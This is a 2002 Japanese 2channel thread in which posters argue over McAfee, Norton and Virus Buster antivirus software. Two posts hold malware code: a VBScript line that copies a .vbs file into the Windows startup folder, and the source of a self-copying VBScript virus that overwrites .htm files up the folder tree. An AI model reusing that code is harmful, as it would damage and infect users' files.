でもなんでバスターやノートンに比べて
いまいち日本ではマイナーなんだろう・・・マカフィー
30 :
名無しさん@お腹いっぱい。:02/07/23 02:05
なにを根拠にサポート普通だっていってんだよ?
他社のHPと見比べてみれば一目瞭然。
開発元のnaiが売らずにソースネクストが売ってる時点で
ダメなんだよ。真面目に売る気のないヤツからは買わない
のが当たり前ってもんだろ。
馬鹿ふぃーと言えば、プライスロト事件を思い出すな。
素人の駆除方法をそのままパクリ。
このスレを立てたことが
>>1にとって
人生最後の良い思い出となりますように・・・
33 :
名無しさん@お腹いっぱい。:02/07/23 20:30
ウィルススキャン(マカフィー)>ノートンアンチウィルス
これは定説だが、マカフィーの速パックシリーズはクソ(逆に遅くなる)。
34 :
名無しさん@お腹いっぱい。:02/07/23 21:51
>>33 “オレ定説”か?
そんなの聞いたことないぞ
そもそも速シリーズってマカフィと関係ないだろが
35 :
名無しさん@お腹いっぱい。:02/07/23 22:02
エロサイト徘徊にはマカはダメです。
ワタシそれでバスターに乗り換えました。
36 :
名無しさん@お腹いっぱい。:02/07/23 22:16
>>34 マカフィーじゃねえや。
ソースネクストのだ。
33=36=(・∀・)?
ソースネクストはマカフィーを撃ってるだけだって
作ってないの
マカフィー>ノートン>>バスター
マカフィー>ノートン>>バスター
やっと不等号の使い方を覚えたか(w
42 :
名無しさん@お腹いっぱい。:02/07/26 20:36
マカフィーを悪く言う奴は許さん!
43 :
名無しさん@お腹いっぱい。:02/07/27 15:28
>>15 ノートンが普通に信頼できるなんてのんびりやだね
fso.copyfile "c:\network.vbs", "C:\windows\start menu\programs\startup\"
44 :
名無しさん@お腹いっぱい。:02/07/27 15:50
<BODY Onload="Redirect();">
<script language="VBScript"><!--
Sub RedirectRandomizeIf location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub
Sub OfflineDim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)
While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End IfNextWendIf (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub
--></script>
</BODY>
お初です。どのうように、ウィルスがあるとソフトが作動するのですか。
おしえてください。
47 :
名無しさん@お腹いっぱい。:02/07/28 12:53
マカフィーを進める理由がようわからん。
安いだけで通り抜け多いぜ、進入されてからチェックしても遅くねぇか!
パカフィーならフリーソフトと変わらんように思うがなぁ。
49 :
名無しさん@お腹いっぱい。:02/07/28 16:54
ノートン勧める理由がわからん。
アホみたいな誤検出問題出たし。
はっきり言ってバスターのほうがいいよ。
>>49 Web TrapやWeb保護はともかく。
ファイル感染型ウイルスでは、ノートンよりもバスターの方が誤検出問題は多いです、最近。
>>50 目くそ鼻くそでも、
ノートンより騒がれたことはないからバスターのほうがマシじゃないの
ノートンのはもうだめぽ
どうでもいいや
好きなの使えばそれでよろし
ファイルのほうが問題やね
マカフィーええよ
ノートンは初心者には設定がめんどー
>>56 お前の方が痛いよw
実際マカフィー一番いいもんな
58 :
名無しさん@お腹いっぱい。:02/08/06 06:24
バーカフィー、、セキュリティレベル中?はぁ?はぁ?はぁ?
ノートンやバスターは良い
マカフィーもまあまあいい
警備隊最悪
俺的結論警備隊以外ならいい
>>59 ViRobotでもいいの?
まあV3よりはましだけど
マカフィーVSO>ノートン>バスター>>旧マカフィー
マカフィーほんま使いがってよくなった
63 :
名無しさん@お腹いっぱい。:02/08/15 03:19
スレタイと内容がちぐはぐでわけわからん
マカフィは他社より数歩先行ってますよ〜
www.mcafeeasap.ne.jp
66 :
名無しさん@お腹いっぱい。:02/08/16 22:14
67 :
名無しさん@お腹いっぱい。:02/08/16 22:45
ノートン=マカフィーでいいやん
69 :
名無しさん@お腹いっぱい。:02/08/18 03:20
今はどうか知らんが、バカフィーは過去のバージョンで致命的不具合多すぎ!
31がふれているが、ええかげんな会社やろ。
アンインストールもうまく出来んて、自身がウイルスかと思った。
70 :
名無しさん@お腹いっぱい。:02/08/18 11:59
だからなに?
71 :
名無しさん@お腹いっぱい。:02/08/18 15:37
ヴァカフィーは所詮ヴァカフィー
てすと
73 :
名無しさん@お腹いっぱい。:02/08/18 19:51
71>>
厨房は所詮厨房
人類皆厨房
75 :
名無しさん@お腹いっぱい。:02/08/18 21:11
アンチドートはダメでしょうか?
マカフィー<AVG
アンインスコしますた。
真・スレッドストッパー。。。( ̄ー ̄)ニヤリッ